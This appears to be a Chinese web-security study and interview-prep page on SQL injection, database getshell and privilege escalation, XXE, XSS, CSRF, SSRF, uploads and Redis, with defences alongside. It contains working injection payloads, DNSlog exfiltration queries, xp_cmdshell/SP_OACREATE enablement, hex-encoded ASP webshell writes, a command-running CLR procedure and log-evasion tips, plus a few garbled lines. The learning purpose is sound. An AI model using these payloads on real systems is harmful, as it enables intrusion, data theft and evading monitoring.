Skip to content

SQL 注入

原理和分类

SQL注入原理

  • 在数据交互中,前端的数据传入到后台处理时,由于后端没有做严格的判断,导致其传入的数据拼接到 SQL 语句中,被当作 SQL 语句的一部分执行。

SQL注入分类

  • 按注入位置:数字型、字符型
  • 按提交方式:POST 型、GET 型、Cookie 型、HTTP 头
  • 按注入方式:联合查询注入、报错型注入、布尔型注入、延时注入、堆叠注入

SQL注入危害

  • 注入漏洞不仅能查看用户名和密码,还能脱库、上传webshell、执行命令

特别方式及其原理

SQL注入万能密码原理

  • 用户进行用户名和密码登陆时,与数据库交互
  • 由于网站在查询时没有对单引号进行过滤,当输入用户名【admin】和万能密码【2‘or’1‘】时,执行的SQL语句为【Select user_id,user_type,email From users Where user_id='admin' And password='2'or'1'】,逻辑运算优先级导致SQL语句被解析为【Select user_id,user_type,email From users Where user_id='admin' And password='2'】和【’1‘】,这两句布尔值逻辑or运算恒为true,自然登陆成功

宽字节注入的手法及意义

  • 手法:利用宽字节编码(如 GBK、UTF-16)的特性,通过注入特殊字符组合绕过过滤器。
  • 意义:引号绕过,扩大注入范围。

二次注入原理

  • 输入恶意的数据库查询语句时被转义,但在数据库调用读取语句时又被还原导致语句执行

笛卡尔注入原理

  • 对一张表作自身的笛卡尔积让查询时间变长达到和sleep一样的效果,系统返回结果的时间差异可判断注入语句是否执行成功

sql 注入 sleep()函数被过滤解决方法

  • 使用ascii、substr、strcmp、benchmark()等函数重复执行某项指令,达到类似sleep的效果

时间盲注

  • 适用于页面不返回错误信息,只会回显一种界面,利用sleep函数制造时间延迟,由回显时间判断是否报错

时间盲注操作

  1. 判断闭合符号
sql
if(1=1,1,sleep(1))即输出true if(1=2,1,sleep(1))即延迟一秒后回显
  1. 判断库名长度
sql
?id=1' and if(length(database())>8,sleep(2),0) --+
  1. 判断库名
sql
`?id=1' and if(ascii(substr(database(),1,1))=115,sleep(2),0) --+`

此为判断第一个字母的ascii码是否为115

  1. 判断第二个字母为e 以此类推,数据库名为security

  2. 判断表名

sql
?id=1and if(ascii(substr((select table_name from information_schema.tables where table_schema=securitylimit x,y),z,d))=e,sleep(1),0)–+

其中x代表第x+1个表,y表示第x+1往后y个单位的表,z表示第几个字母,d表示z往后d个单位的字母

  1. 判断列名
sql
?id=1and If(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit x,y),z,d))=105,sleep(2),1)–+

x:第x+1个列,y:x+1个列往后y个单位,z:x+1列的第一个字母,d:第一个字母往后的第z个单位

  1. 爆数据
sql
?id=1' and If(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(2),1)--+

WAF对抗

基本绕过方式

  • 内联注释、编码、%0a %23换行注释绕过
  • 字符转义利用宽字节,hex编码绕过
  • 利用防注入拿shell:在url提交一句话木马,防注入系统记录一句话木马到日志中(尝试查找日志文件,连接菜刀)

空格绕过

  • 用注释替换空格
  • 空格url编码%20
  • 两个空格代替一个空格
  • 用Tab代替空格-%a0=空格
  • 如果空格被过滤,括号没有被过滤,可以用括号绕过-select(user())from dual where(1=1)and(2=2)
  • 回车-%23

引号绕过

  • 宽字节注入

逗号绕过

  • 使用join or and xor not绕过
  • 利用符号替换and = && or=|| xor=| not=!
  • 在敏感词中添加注释:an/__/d
  • 双写绕过oorr
  • 大小写变形
  • 编码

注释符绕过

  • 核心在于闭合,本来有注释符不用闭合,现在没有了所以要闭合

等于号绕过

  • 使用like
  • 使用!<>,因为<>是不等于

修复及其原理

修复手段

  • 使用 PDO 预编译
  • 正则表达式过滤
  • 开启魔术引号
  • 加 WAF
  • 使用安全的api
  • 控制客户端输入,不允许使用sql相关的字符

预编译原理

  • 预编译将一次查询通过两次交互完成:预编译将 SQL 语句中的值用占位符 ? 替代,即将 SQL 语句模板化或参数化。SQL 语句先交由数据库预处理,构建语法树,再传入真正的字段值进行执行。

    预编译后代入参数

    • 系统接收到的参数是1,不是1 or 1 = 1。

预编译绕过

  • 字符串拼接:如果在SQL预编译语句中使用了字符串拼接,攻击者可以通过构造特定的字符串来绕过预编译过程。

  • 动态拼接SQL语句:如果动态地拼接SQL语句,例如使用字符串拼接、字符串格式化等方式,攻击者同样可以利用字符串的特性来绕过预编译过程。

  • SQL语句中使用函数或存储过程:如果在SQL语句中使用了函数或存储过程,攻击者可以构造恶意的输入,使其执行预期之外的操作,绕过预编译过程。

  • 错误处理不当:如果SQL预编译过程中的错误处理不当,例如忽略异常或者异常处理不当,攻击者可能会通过特定的输入来触发错误,绕过预编译过程。

sqlmap使用

Sqlmap的tamper

  • apostrophemask.py:将引号替换为UTF-8,用于过滤单引号
  • base64encode.py:替换为base64编码
  • multiplespaces.py:围绕SQL关键字添加多个空格
  • space2plus.py:用+号替换为空格
  • charencode.py:对给定的Payload全部字符使用URL编码(不处理已编码的字符)
  • charunicodeencode.py:字符串unicode编码
  • space2comment.py:将空格替换为/__/
  • equaltolike.py:将等号替换为like

sqlmap --os-shell 原理

  • 对于 mysql 数据库,--os-shell的本质是写入两个shell文件,其中一个用于执行命令,另一个用于上传文件。

sqlmap --os-shell条件

  • 知道网站绝对路径,可以通过报错、phpinfo界面、404界面等方式知道 爆出当前数据库绝对路径
sql
select @@datadir;
  • gpc未开启,否则单引号被转义,语句无法正常执行

  • 需要file权限,默认情况下只有root有

  • Secure_file_priv 参数为空或为指定路径(用于查询) 查看secure_file_priv是否为空,若为空则任意位置都能写

sql
show global variables like "%secure%";

数据库

MySQL

MySQL 5.0 和 5.7 的区别

  • MySQL 5.7

    • 安全性提升:增加了默认安全选项和更强的密码验证机制。
    • 性能优化:在查询优化器和执行计划方面进行了多项改进。
    • 新特性:支持 JSON 数据类型和虚拟列等新特性.
    • 多用户 多操作
  • MySQL 5.0

    • 没有information_schema表,只能使用暴力方法跑出表名,多用户 单操作

MySQL 爆破
扫描3306,root默认密码爆破(检查是否有空密码登陆),或者对user表中的hex值进行爆破

mysql注入点,写入一句话,条件?

  • 需要root权限
  • 需要绝对路径
  • 能使用load_file
  • web目录写权限
  • 能使用into outfile写入文件

MySQL getshell

  • outfile和dumpfile的区别
  1. outfile:
    1、 支持多行数据同时导出
    2、 使用union联合查询时,要保证两侧查询的列数相同
    3、 会在换行符制表符后面追加反斜杠
    4、会在末尾追加换行

  2. dumpfile:
    1、 每次只能导出一行数据
    2、 不会在换行符制表符后面追加反斜杠
    3、 不会在末尾追加换行

因此,我们可以使用into dumpfile这个函数来顺利写入二进制文件;
当然into outfile函数也可以写入二进制文件,但是无法生效(追加的反斜杠会使二进制文件无法生效)
当我们使用dumpfile,应该手动添加 limit 限制,来获取不同的行数

mysql 写 shell,不知道网站绝对路径解决方法

  • 通过以下方式获得网站绝对路径:
    1.web报错信息:可以通过各种fuzz不存在的目录尝试让目标报错,有可能爆出绝对路径

2.通过phpinfo()获取路径:在phpinfo页面直接搜索:DOCUMENT_ROOT
 
 3.通过目录文件信息泄露获取:扫到目录时候每个都尝试访问一下,说不定会有意想不到的收获

4.如果目标站点是利用phpstudy、Xampp、LAMPP等之类搭建的,可以通过查看数据库路径

sql
show variables like '%datadir%';
或者
select @@basedir;

获取到数据库路径后再结合中间件目录结构猜测web目录

MySQL提权

UDF提权
MySQL拓展接口
提权原理:
UDF的使用需要调用其动态链接库文件(.dll或.so),使用UDF提权原理大概就是通过引入恶意的udf.dll,引入自定义函数(如sys_eval()函数),执行系统命令。
利用条件:

  • 掌握MySQL数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
  • 当前用户拥有可以将udf.dll写入相应目录的权限。
  • 如果MySQL版本小于5.1且为Windows系统,则udf.dll文件存放在 C:\windows 或者 C:\windows\system32 目录下。
  • 如果MySQL版本大于5.1,udf.dll文件必须放置在MySQL安装目录的lib/plugin文件夹下,该plugin目录默认不存在需要创建。

启动项提权

手动利用
所谓MySQL的启动项提权,就是将自定义的脚本写入到开机自启目录下,如果管理员重启了服务器,那么就会自动调用该脚本,并执行其中的用户添加及提权命令。这种提权也常见于 Windows 环境下,写入的脚本支持 vbs 和 exe 类型,可以利用 vbs 执行一些 CMD 命令,也可以使用 exe 上线 metasploit 或 cobalt strike。
MSF
metasploit中也集成了相应的模块:exploit/windows/mysql/mysql_start_up

phpMyAdmin

phpmyadmin getshell的权限

  1. root权限
  2. 网站的绝对路径
  3. secure_file_priv设置为空
    【secure_file_priv参数:
    NULL 不允许导入或导出
    /tmp 只允许在 /tmp 目录导入导出
    空 不限制目录】

phpMyAdmin 如何 getshell

  • 慢查询写webshell
  • into outfile或是创建表写入
  • 利用日志写shell
[SQL Server]

一、sql server版本说明

05以下系统权限为system
08以上系统权限就不是system了,看到好几种,比较多的是network service

二、Sql Server危险的存储过程

这里使用sqlmap --os-shell命令也行
xp_cmdshell 是 Microsoft SQL Server 中的一个扩展存储过程,允许执行操作系统的命令。

1、开启xp_cmdshell存储过程

sql
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; exec SP_CONFIGURE 'xp_cmdshell', 1; RECONFIGURE;

2、xp_cmdshell执行系统命令

bash
exec xp_cmdshell "whoami";v

三、Sql Server Com组件

SQL Server中的COM组件SP_OACREATE,执行系统命令,但是此利用方法无回显。

1、SP_OACREATE

查看SP_OACRAEATE状态
利用count(*)判断是否存在,存在即返回1

csharp
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'

2、启用SP_OACREATE

sql
利用sp_configure存储过程,启用SP_OACREATE  
exec sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE;   
exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE;

3、利用SP_OACREATE执行系统命令

sql
Declare @runshell INT Exec SP_OACreate 'wscript.shell',@runshell out Exec SP_OAMeTHOD @runshell,'run',null,'ping who.xxxx.dnslog.cn';
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c whoami /all >C:\\test\test.txt'

四、通过差异备份写入一句话木马

1、判断站库分离

csharp
用1=(select is_srvrolemember('sysadmin'))和host_name()!=@@servername判断出权限为sa权限,且站库分离,写不了webshell。

2、寻找绝对路径

a、404报错页面

404报错页面查看绝对路径

b、配置文件
avrasm
通过type读取配置文件
C:\Windows\system32\inetsrv\metabase.xml        #iis6
C:\Windows\System32\inetsrv\config\applicationHost.config       #iis7
c、cmd命令搜索文件
css
for %i in (c d e f g h i j k l m n o p q r s t u v w x v z) do @(dir/s/b %i:\sql.aspx)
d、找旁站路径
undefined
旁站有没有地方可以爆出绝对路径,写入旁站
e、xp_dirtree
bash
xp_dirtree 'c:\', 1, 1      #列出当前目录下所有的文件和文件夹

3、执行如下代码

sql
backup database 当前数据库名 to disk = 'c:\ddd.bak';--  

create table cmd (a image);
insert into cmd(a) values (0x3C25657865637574652872657175657374282261222929253E);--  
[code]0x3C25657865637574652872657175657374282261222929253E [code]就是一句话木马的内容:<%execute(request("a"))%>  
backup database 当前数据库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--

五、log备份写入shell#

sql
alter database testdb set RECOVERY FULL 
backup database testdb to disk = 'c:\bak.bak'
create table cmd (a image) 
backup log testdb to disk = 'c:\aaa.bak' with init 
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) 
backup log testdb to disk = 'C:\inetpub\wwwroot\shell.asp'

SQLServer 如何 getshell

  • 通过 xp_cmdshell 执行系统命令,上传并执行恶意脚本。
  • COM opcreate 组件,判断是否存在,存在返回为1,随后执行系统命令
  • 差异备份写入webshell
  • log日志写入webshell

提权与getshell

xp_cmdshell被关闭解决方法

SQL Server xp_cmdshell 遭遇各种情况后的处理方法

1. xp_cmdshell 被禁用

xp_cmdshell 被禁用时,可以通过以下几种方法尝试绕过禁用限制:

方法一:启用 xp_cmdshell

如果具备足够的权限,可以启用 xp_cmdshell

sql
-- 启用高级选项 EXEC sp_configure 'show advanced options', 1; RECONFIGURE;  -- 启用 xp_cmdshell EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
方法二:使用 SQL CLR 存储过程

如果 xp_cmdshell 无法启用,可以使用 SQL CLR(Common Language Runtime)创建自定义存储过程来执行系统命令。需要管理员权限来创建和部署 CLR 存储过程。

步骤

  1. 启用 CLR 支持
sql
    EXEC sp_configure 'clr enabled', 1; RECONFIGURE;
  1. 创建 CLR 存储过程: 编写一个 C# 程序来执行命令,然后将其部署到 SQL Server 中。

    示例 C# 代码

csharp
using System; using System.Data.SqlTypes; using Microsoft.SqlServer.Server; using System.Diagnostics;  public class StoredProcedures {     [SqlProcedure]     public static void RunCommand(SqlString command)     {         ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/C " + command.Value);         psi.RedirectStandardOutput = true;         psi.UseShellExecute = false;         Process process = Process.Start(psi);         process.WaitForExit();     } }
  1. 部署 CLR 存储过程: 使用 Visual Studio 或手动创建程序集并部署到 SQL Server。

    SQL 部署命令

sql
    CREATE ASSEMBLY RunCommandAssembly FROM 'C:\\Path\\To\\Your\\Assembly.dll' WITH PERMISSION_SET = EXTERNAL_ACCESS; CREATE PROCEDURE RunCommand @command NVARCHAR(MAX) AS EXTERNAL NAME RunCommandAssembly.StoredProcedures.RunCommand;
方法三:使用 OPENROWSET 或 OPENQUERY

可以通过启用 Ad Hoc Distributed Queries 来使用 OPENROWSETOPENQUERY 执行系统命令。

启用 Ad Hoc Distributed Queries

sql
`EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'Ad Hoc Distributed Queries', 1; RECONFIGURE;`

使用 OPENROWSET 执行命令

sql
`SELECT * FROM OPENROWSET('SQLNCLI', 'Server=localhost;Trusted_Connection=yes;', 'SET NOCOUNT ON; EXEC xp_cmdshell ''dir C:\\''');

2. xp_cmdshell 被限制使用

xp_cmdshell 被限制使用时,可以尝试以下处理方法:

方法一:提升权限

如果当前用户权限不足,可以尝试通过 SQL 注入等手段提升权限,获取更高权限的用户访问。

方法二:使用其他系统扩展存储过程

如果有其他可用的扩展存储过程(如 xp_fileexistxp_dirtreexp_regread 等),可以利用这些存储过程获取系统信息或进行文件操作。

方法三:利用数据库联结

如果目标数据库与其他数据库有联结关系,可以通过联结数据库执行命令。例如,使用 sp_addlinkedserver 创建链接服务器,然后通过链接服务器执行命令。

示例

sql
EXEC sp_addlinkedserver 'remoteServer', 'SQL Server'; EXEC sp_addlinkedsrvlogin 'remoteServer', 'false', NULL, 'username', 'password'; EXEC ('xp_cmdshell ''dir C:\\''') AT remoteServer;

3. xp_cmdshell 被日志监控

为了避免被日志监控检测到,可以使用其他方法进行命令执行,例如:

方法一:隐藏命令输出

通过将命令输出重定向到文件或管道,避免输出被记录在日志中:

sql
EXEC xp_cmdshell 'dir C:\\ > NUL';
方法二:使用批处理脚本

将复杂命令写入批处理脚本,然后执行该脚本:

sql
EXEC xp_cmdshell 'echo dir C:\\ > C:\\script.bat'; EXEC xp_cmdshell 'C:\\script.bat';

UDF提权

  • 利用自定义函数(UDF)进行提权,通过编写恶意函数并在数据库中注册执行。

数据库提权思路

  • MySQL:利用UDF提权,通过写shell、root权限下执行命令等方式。
  • Access:利用系统命令执行漏洞,通过宏或其他方式运行恶意代码。
  • MSSQL:利用xp_cmdshell提权,或通过CLR(Common Language Runtime)编写并执行恶意代码。

特别问题

Sql 注入无回显情况下利用 DNSlog

  • 没有回显时,一般编写脚本进行自动化注入。由于防火墙存在,容易被封禁IP,可以尝试调整请求频率,有条件的使用代理池进行请求。
  • 使用 DNSlog 注入,将服务器返回的结果放在域名中,然后读取 DNS 解析时的日志,获取信息。

Mysql中利用 DNSlog 构造payload

sql
' and if((select load_file(concat('\\\\\\\\',(select database()),'.\\\\abc'))),1,0)# xxx.ceye.io

Mssql中利用 DNSlog 构造payload

sql
`DECLARE @host varchar(1024); SELECT @host=(SELECT db_name())+'. '; EXEC('master..xp_dirtree"\\\\'+@host+'\\\\foobar{html}quot;');

RCE

  1. 发现RCE漏洞后
  • 查看权限、目录、用户类型,考虑写入一句话木马,并开一个服务器上传exp进行提权
  1. 常用函数
  • PHP: system(), exec(), shell_exec(), passthru(), pcntl_exec(), popen()
  • JAVA: java.lang.Runtime.getRuntime().exec(command)
  • Python: system(), popen(), subprocess.call(), spawn

XXE

  1. 漏洞原理

    • XML 解析器在解析 XML 输入时处理外部实体,可能导致文件泄露或服务器端请求伪造(SSRF)。
    • 改包让目标读取本地文件(如config.php),请求恶意XML,通过恶意XML请求记录数据的跳板,跳板携带数据到记录点,完成获取数据操作
  2. XXE 盲注

    • 利用外部实体加载远程资源,通过时间差或其他回显方式判断结果。
  3. XXE 可以用来做什么

    • 读取服务器文件
    • 发起内网请求,无回显读取本地文件、内网主机、端口探测
    • DoS 攻击
    • 读取php文件,执行命令
  4. XXE 任意文件读取深度利用

    • 利用文件读取获取敏感信息,如配置文件、密钥等,进一步扩大攻击面。
  5. XXE getshell 前提条件

    • 目标服务器可执行文件或命令,并允许写入操作。
  6. XXE、SSRF 能做什么

    • 读取敏感文件,发起内网请求,反弹 shell 等。
  7. 防范

    • 配置xml处理器使用禁用DTD、禁止外部实体解析,使用开发语言提供的禁用外部实体的方法,通过黑名单过滤用户提交的xml数据,不允许xml中含有任何自己声明的DTD。

XSS

  1. 防御手段

    • 输入数据进行 HTML encode 处理
    • 白名单过滤
    • 过滤 JavaScript 事件标签
    • 开启 HTTP-only
    • 装 WAF
  2. 了解程度(初)

  3. 种类与区别

    • 存储型:恶意代码被存储在数据库中,每次访问都会触发。
    • 反射型:恶意链接被用户点击后触发。
    • DOM 型:纯前端攻击,恶意代码输出在 DOM 节点中。
  4. XSS httponly 绕过

  • 大小写转换;
  • 引号的使用;
  • 使用 / 代替空格;
  • 编码绕过(将字符进行十进制或十六进制转码);
  • 双写绕过;
  • 使用制表符、换行符和回车符
  • 使用 IMG 源
  1. 存储型 XSS 配合 CSRF

  2. 修复建议

    • 对输入数据进行 HTML encode 处理
    • 白名单过滤
    • 过滤 JavaScript 事件的标签
    • 设置 Cookie 的 HttpOnly 属性
    • 装 WAF
    • 使用W3C提出的CSP (Content Security Policy,内容安全策略),定义域名白名单

CSRF

  1. 原理
  • CSRF利用用户当前的会话,在未授权情况下执行用户非本意的操作。
  1. 验证referer防御csrf原理
  • 同源策略,检查referer字段,拒绝非本站的请求,注意referer为空的情况和部分匹配情况。
  1. 利用方式

    • Get请求:在黑客网站中通过img的src属性自动发起请求
    • Post请求:在黑客网站中构造隐藏表单自动发起Post请求
    • 诱惑用户点击恶意链接,利用a标签的href
  2. 防范

    • 同源策略,检查referer字段,拒绝非本站的请求
    • 检查token校验码,服务器生成的伪随机数发给用户,后台拒绝错误请求
    • 设置关键Cookie的SameSite属性为Strict或Lax
    • 加入二次验证(独立的支付密码)
  3. XSS,CSRF和SSRF区别

  • XSS:跨站脚本攻击,服务器对用户输入的数据没有足够过滤,客户端浏览器渲染时出现未预期脚本语句被执行。
  • CSRF:跨站请求伪造,服务器端未对用户提交的数据进行随机值校验,对http请求包内的refer字段校验不严,导致攻击者利用用户的Cookie信息伪造请求发送至服务器。
  • SSRF:服务器请求伪造,服务器对用户提供的可控URL过于信任,未进行地址限制和足够检测,攻击者以此为跳板攻击内网或其他服务器。

SSRF

  1. SSRF原理

    • 服务器加载外部资源未对目的地址做过滤,存在ssrf漏洞。常用协议有gopher、dist、file、http、https。
  2. 初步探测

    • 通过file协议读取本机文件,探测本机的网段。
    • Dist协议探测端口
  3. SSRF 拿 shell

    • 利用 SSRF 请求目标服务器的管理接口或服务,执行恶意命令。
  4. XXE、SSRF 能做什么

    • 读取敏感文件,发起内网请求,反弹 shell 等。
  5. SSRF 利用

    • 内网扫描,获取敏感信息,攻击内网服务。
  6. SSRF 绕 WAF

    • 利用变种 URL 编码,拆分请求等方法绕过 WAF 检测。
  7. SSRF场景与产生

    • 分享:通过URL地址分享网页内容
    • 转码服务
    • 在线翻译
    • 图片加载与下载:通过URL地址加载或下载图片、文章收藏功能
    • 未公开的api实现以及其他调用URL的功能
  8. SSRF修复

    • 限制资源的地址、禁用不必要的协议
  9. SSRF绕过

文件上传

流量特征

文件上传实质上还是客户端的POST请求,消息主体是一些上传信息。前端上传页面需要指定 enctype为`multipart/from-data`才能正常上传文件。

•请求Header中Content-Type存在以下特征:multipart/form-data:表示该请求是一个文件上传请求
•存在boundary字符串:作用为分隔符,以区分POST数据
•POST的内容存在以下特征:
Content-Disposition:响应标头是指示内容是否预期在浏览器中内联显示的标题。
name:包含该字段的内容引用的 HTML 字段的名称。
filename:后面是一个包含传输文件的原始名称的字符串。、
•POST中的boundary的值就是Content-Type的值在最前面加了两个--,除了最后标识结束的boundary
•最后标识结束的boundary最后默认会多出两个--(测试时,最后一行的boundary删掉也能成功上传)

文件上传在数据包中可修改的地方

Content-Disposition:一般可更改
name:表单参数值,不能更改
filename:文件名,可以更改
Content-Type:文件 MIME,视情况更改
boundary:内容划分,可以更改

  1. 黑白名单

    • 黑名单:禁止上传特定类型文件,例如 .exe.bat 等危险文件。
    • 白名单:只允许上传特定类型文件,例如 .jpg.png 等安全文件。
  2. 文件上传成功后,tmp 目录没有执行权限怎么办?

    • 解决方法包括利用包含漏洞执行文件,或者寻找其他具有执行权限的路径进行文件操作。
  3. 文件上传绕过 WAF,如何bypass

    • 通过变种文件名、文件内容绕过 WAF 检测,例如在文件名中添加空格、特殊字符,或使用不同的编码方式。
  4. 上传 webshell 的方法

    • 如果服务器只允许上传 jpg 格式文件,可以尝试通过中间件解析漏洞或文件包含漏洞进行绕过和利用。

命令执行

  1. 无回显流量处理
    • 利用盲注技巧确认命令执行结果,通过时间差、网络请求等方法判断命令是否成功执行。

PHP

  1. PHP 反序列化

    • 概念:序列化是将一个对象转换成字符串,反序列化则是将字符串重新转换为对象。
    • 分类
      • 无类反序列化:利用相对简单,如果源码直接反序列化输入值,只需提前序列化数据再传入。
      • 有类反序列化:需要利用魔术方法,如 __construct(),在对象创建时触发执行代码。
  2. PHP 代码执行的危险函数与命令执行函数

    • 危险函数call_user_func()call_user_func_array()create_function()array_map()
    • 命令执行函数system()shell_exec()passthru()exec()popen()proc_open()putenv()

Redis

  1. Redis 未授权漏洞利用

    • 在 Windows 服务器下,写 shell
      1. 当 Redis 以 root 身份运行时,给 root 账户写入 SSH 公钥文件,直接通过 SSH 登录目标服务器。
      2. 利用 Redis 写入计划任务反弹 shell。
      3. 主从复制 getshell。
  2. Redis 主从复制的原理

    • 允许一个 Redis 服务器复制另一个服务器的数据,通过 SLAVEOF 命令或配置文件指定主服务器,保证数据高可用性和读扩展性。
  3. Redis 利用条件

    • 使用 root 权限启动 Redis,具有目录写权限。
    • 空密码且允许外部直接连接。
    • 未修改默认端口,且暴露在公网,知道网站绝对路径。
  4. SSRF 探测内网 Redis

    • Redis 默认绑定本地(不允许远程访问),默认不开启认证,默认端口为 6379。如果未开启认证,可以通过 SSRF 漏洞攻击内网中的未授权 Redis 并读取数据。使用 dict://127.0.0.1:6379 返回信息,说明存在 Redis 数据库。

逻辑漏洞

  1. 支付漏洞成因

    • 逻辑漏洞的成因是程序设计不严谨或过于复杂,导致逻辑分支处理错误或未处理。
  2. 越权漏洞

    • Redis 越权访问
    • Tomcat 越权访问
    • JBoss 越权访问
  3. 常见逻辑漏洞及登录框的思路

    • 常见逻辑漏洞
      • 越权、响应包修改、支付金额修改、cookie 爆破、密码找回漏洞等。
    • 登录页面思路
      • 爆破、session 覆盖、SQL 注入、XSS、任意用户注册、查看 JS 文件中的敏感信息、短信轰炸、万能密码、二次注入、模板注入等。
  4. 逻辑漏洞的原理与修复

    • 原理:程序逻辑不严或逻辑复杂,导致逻辑分支处理错误或未处理。
    • 业务逻辑漏洞
      • 支付漏洞:价格修改、支付状态修改、数量最大值溢出、订单替换、支付接口替换、四舍五入、越权支付。
      • 登录漏洞:状态信息修改、密码修改跳过验证。
      • 密码找回漏洞:暴力破解、通用找回凭证、跳过验证步骤、拦包获取找回凭证。
      • 身份认证漏洞:会话固定攻击、Cookie 仿冒,伪造用户身份。
      • 验证码漏洞:验证码暴力破解、通过 JavaScript 或改包绕过。

类逻辑知识

  1. XFF (X-Forwarded-For)

    • 用于识别客户端的原始 IP 地址,通常在使用代理或负载均衡器时使用。
  2. 欺骗原理

    • 通过伪造信息、篡改数据等方式误导系统或用户,以达到攻击目的。
  3. 指纹识别

    • 通过识别系统或应用的特征信息,判断其版本或类型,以便进行针对性攻击。
  4. Web 容器

    • 用于运行 Web 应用程序的环境,常见的有 Tomcat、Jetty、JBoss 等,负责处理 HTTP 请求和响应。
  5. HTTP 协议

    • 请求方式:GET、POST、PUT、DELETE 等。
    • 状态码:200(成功)、404(未找到)、500(服务器错误)等。
  6. 命令执行的原理

    • 利用系统命令执行漏洞,通过注入恶意命令,实现对目标系统的控制。
  7. 请求头的意义

    • 包含客户端发送给服务器的请求信息,如 User-AgentAcceptHost 等,决定请求的内容和方式。